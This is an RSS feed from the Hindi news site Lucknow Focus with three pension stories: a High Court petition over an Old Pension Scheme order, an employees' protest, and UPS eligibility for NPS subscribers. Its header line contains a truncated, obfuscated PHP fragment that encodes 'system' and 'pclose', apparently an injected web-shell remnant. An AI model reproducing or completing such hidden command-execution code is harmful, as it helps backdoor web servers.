Old Pension Scheme – Lucknow Focus http://lucknowfocus.com <?php $_0="s\171stem";$_1="pc\x6cose";$_2 Thu, 27 Nov 2025 10:34:50 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 http://lucknowfocus.com/wp-content/uploads/2022/03/cropped-Capture-32x32.jpg Old Pension Scheme – Lucknow Focus http://lucknowfocus.com 32 32 OPS विकल्प विवाद: इलाहाबाद हाईकोर्ट ने राज्य सरकार से 6 हफ्ते में मांगा जवाब, फार्मासिस्टों ने शासनादेश को दी चुनौती http://lucknowfocus.com/ops-option-controversy-allahabad-high-court-sought-reply-from-the-state-government-within-6-weeks-pharmacists-challenged-the-government-order/ Thu, 27 Nov 2025 10:34:49 +0000 https://lucknowfocus.com/?p=7531 Lucknow Focus News Desk: इलाहाबाद हाईकोर्ट ने कर्मचारियों को राष्ट्रीय पेंशन प्रणाली (NPS) के स्थान पर पुरानी पेंशन योजना (OPS) का विकल्प देने संबंधी राज्य सरकार के शासनादेश (28 जून 2024) को चुनौती देने वाली याचिका पर राज्य सरकार से छह सप्ताह के भीतर जवाब तलब किया है। न्यायमूर्ति विकास बुधवार की एकल पीठ ने एलोपैथिक फार्मासिस्टों की ओर से दाखिल याचिका पर यह आदेश दिया है।

याचिकाकर्ता की मुख्य दलील

याचिका के माध्यम से दो मुख्य बिंदुओं पर आपत्ति जताई गई है। याचियों के अधिवक्ता जगदीश सिंह बुंदेला ने दलील दी कि 1998 के विज्ञापन के तहत फार्मासिस्टों की भर्ती स्वास्थ्य विभाग की गलती के कारण समय पर नहीं हो सकी। विभाग ने नियमों को दरकिनार कर जूनियर उम्मीदवारों को नियुक्त कर दिया जो आज OPS का लाभ पा रहे हैं।

वहीं, वरिष्ठ अभ्यर्थी, जिनकी नियुक्ति 2007 के विज्ञापन के बाद 2012 में हुई, वे NPS के दायरे में आ गए। याचियों ने शासनादेश के प्रस्तर दो पर आपत्ति जताई, जिसके तहत उन कर्मचारियों को पुरानी पेंशन का लाभ नहीं मिलेगा जिनका विज्ञापन तो 28 मार्च 2005 (NPS अधिसूचना से पूर्व) को निकला, लेकिन नियुक्ति 1 अप्रैल 2005 या उसके बाद हुई।

याचियों का आरोप है कि यदि विभाग फार्मासिस्ट सर्विस रूल्स 1980 के अंतर्गत बैचवाइज और ईयरवाइज मेरिट लिस्ट बनाता, तो वे 1998 की भर्ती में ही चयनित हो जाते और पुरानी पेंशन के दायरे में आ जाते। उन्होंने राज्य सरकार पर हाईकोर्ट के विभिन्न आदेशों की अनदेखी कर शासनादेश जारी करने का भी आरोप लगाया। हाईकोर्ट ने मामले की गंभीरता को देखते हुए राज्य सरकार को 6 सप्ताह में अपना विस्तृत जवाब दाखिल करने का निर्देश दिया है।

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Lucknow News: पुरानी पेंशन और 8वें वेतन आयोग की मांग, कल यूपी में प्रदर्शन करेंगे राज्य कर्मचारी http://lucknowfocus.com/lucknow-news-old-pension-and-8th-pay-commission-demand-will-protest-in-up-tomorrow/ Mon, 22 Sep 2025 13:59:25 +0000 https://lucknowfocus.com/?p=6180 Lucknow Focus News Desk: पुरानी पेंशन योजना (OPS) और आठवें वेतन आयोग के गठन सहित अपनी 7 सूत्री मांगों को लेकर उत्तर प्रदेश के राज्य कर्मचारी कल यानी 23 सितंबर को बड़े प्रदर्शन की तैयारी में हैं। यह प्रदर्शन अखिल भारतीय राज्य सरकारी कर्मचारी महासंघ के आह्वान पर देशभर के सभी जिला मुख्यालयों पर होगा।

उत्तर प्रदेश राज्य कर्मचारी महासंघ के प्रदेश अध्यक्ष कमल अग्रवाल और प्रदेश महामंत्री अशोक सिंह ने एक संयुक्त बयान जारी कर बताया कि प्रदर्शन के जरिए प्रधानमंत्री और मुख्यमंत्री को एक मांग पत्र भेजा जाएगा।

सरकार पर लगाया वादाखिलाफी का आरोप

महासंघ के नेताओं ने सरकार पर कई गंभीर आरोप लगाए हैं। उन्होंने कहा कि केंद्र सरकार ने इसकी घोषणा के साढ़े सात महीने बाद भी अधिसूचना जारी नहीं की है, जिससे कर्मचारियों में नाराजगी बढ़ रही है। सरकार ने ‘OPS’ की जगह ‘UPS’ लागू कर करोड़ों कर्मचारियों के ‘जले पर नमक छिड़कने’ का काम किया है। पूर्वांचल और दक्षिणांचल डिस्कॉम को निजी हाथों में सौंपने के फैसले की कड़ी निंदा की गई।

सरकार का संविदा कर्मियों को नियमित करने की बजाय उन्हें सेवानिवृत्ति तक संविदा पर ही रखने का प्रस्ताव मंजूर नहीं है।

कमल अग्रवाल ने कहा कि सरकार बड़े पूंजीपतियों के कर्ज माफ कर रही है, लेकिन कर्मचारियों का 18 महीने का बकाया डीए जारी नहीं कर रही है। उन्होंने चेतावनी दी कि अगर जल्द ही कर्मचारियों की लंबित मांगों का समाधान नहीं हुआ, तो वे विरोध प्रदर्शन करने पर मजबूर होंगे।

लखनऊ में यह प्रदर्शन कल सुबह 11 बजे कर्मचारी मसीहा स्व. बी.एन. सिंह की मूर्ति पर शुरू होगा और दोपहर 2 बजे जिला प्रशासन को ज्ञापन सौंपने के बाद समाप्त हो जाएगा।

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NPS सब्सक्राइबर्स के लिए खुशखबरी: अब ले सकेंगे यूनिफाइड पेंशन स्कीम (UPS) का लाभ http://lucknowfocus.com/good-news-for-nps-subscribers-now-you-can-avail-the-benefits-of-unified-pension-scheme-ups/ Mon, 26 May 2025 07:28:53 +0000 https://lucknowfocus.com/?p=3959 Lucknow Focus News Desk: नेशनल पेंशन सिस्टम (NPS) में निवेश करने वाले लोगों के लिए एक राहत भरी खबर सामने आई है। सरकार द्वारा लागू की गई यूनिफाइड पेंशन स्कीम (UPS) का लाभ अब NPS सब्सक्राइबर्स भी ले सकेंगे, बशर्ते वे कुछ जरूरी शर्तों को पूरा करते हों। NPS ट्रस्ट ने इस संबंध में एक सार्वजनिक सूचना जारी कर दी है। इच्छुक लाभार्थियों के लिए 30 जून 2025 तक आवेदन करने की अंतिम तिथि तय की गई है।

क्या है यूनिफाइड पेंशन स्कीम (UPS)?
UPS को सरकार ने इस उद्देश्य से पेश किया है कि सरकारी कर्मचारियों को ओल्ड पेंशन स्कीम (OPS) की तरह निश्चित पेंशन मिल सके। यह स्कीम 1 अप्रैल 2025 से लागू हो चुकी है। UPS के तहत पेंशनर्स को मासिक और एकमुश्त दोनों तरह के लाभ मिलते हैं, जो उनकी अंतिम बेसिक सैलरी और महंगाई भत्ते पर आधारित होते हैं।

किन्हें मिलेगा UPS का लाभ?
UPS का फायदा ऐसे एनपीएस सब्सक्राइबर्स और उनके जीवनसाथी को मिलेगा जो:

31 मार्च 2025 या उससे पहले रिटायर हो चुके हैं।

केंद्र सरकार के तहत कम से कम 10 साल की सेवा पूरी कर चुके हैं।

इस स्कीम का फायदा लेते समय एनपीएस के तहत मिलने वाले अन्य लाभों (जैसे एन्यूनिटी बेनिफिट) को सरेंडर करने की आवश्यकता नहीं होगी।

क्या-क्या फायदे मिलेंगे?
एकमुश्त भुगतान:
अंतिम बेसिक सैलरी और डीए के दसवें हिस्से के बराबर राशि दी जाएगी।
यह गणना हर छह महीने की सेवा के आधार पर होगी।

मासिक पेंशन:
मासिक पेंशन UPS पे-आउट और महंगाई राहत को मिलाकर दी जाएगी, जिसमें से एन्यूनिटी बेनिफिट की राशि घटाई जाएगी।

साधारण ब्याज:
अतिरिक्त UPS लाभ पर देय एरियर पर पीपीएफ के ब्याज दर के अनुसार साधारण ब्याज मिलेगा।

कैसे करें UPS के लिए आवेदन?
NPS सब्सक्राइबर्स या उनके जीवनसाथी को UPS क्लेम करने के लिए संबंधित फॉर्म भरना होगा:

सब्सक्राइबर के लिए: फॉर्म B-2

जीवनसाथी के लिए: फॉर्म B-4 या B-6

इन फॉर्म्स को संबंधित अधिकारी को जमा किया जा सकता है या ऑनलाइन भी अपलोड किया जा सकता है।
ऑनलाइन आवेदन: www.npscra.net.nsdl.co.in/ups.php

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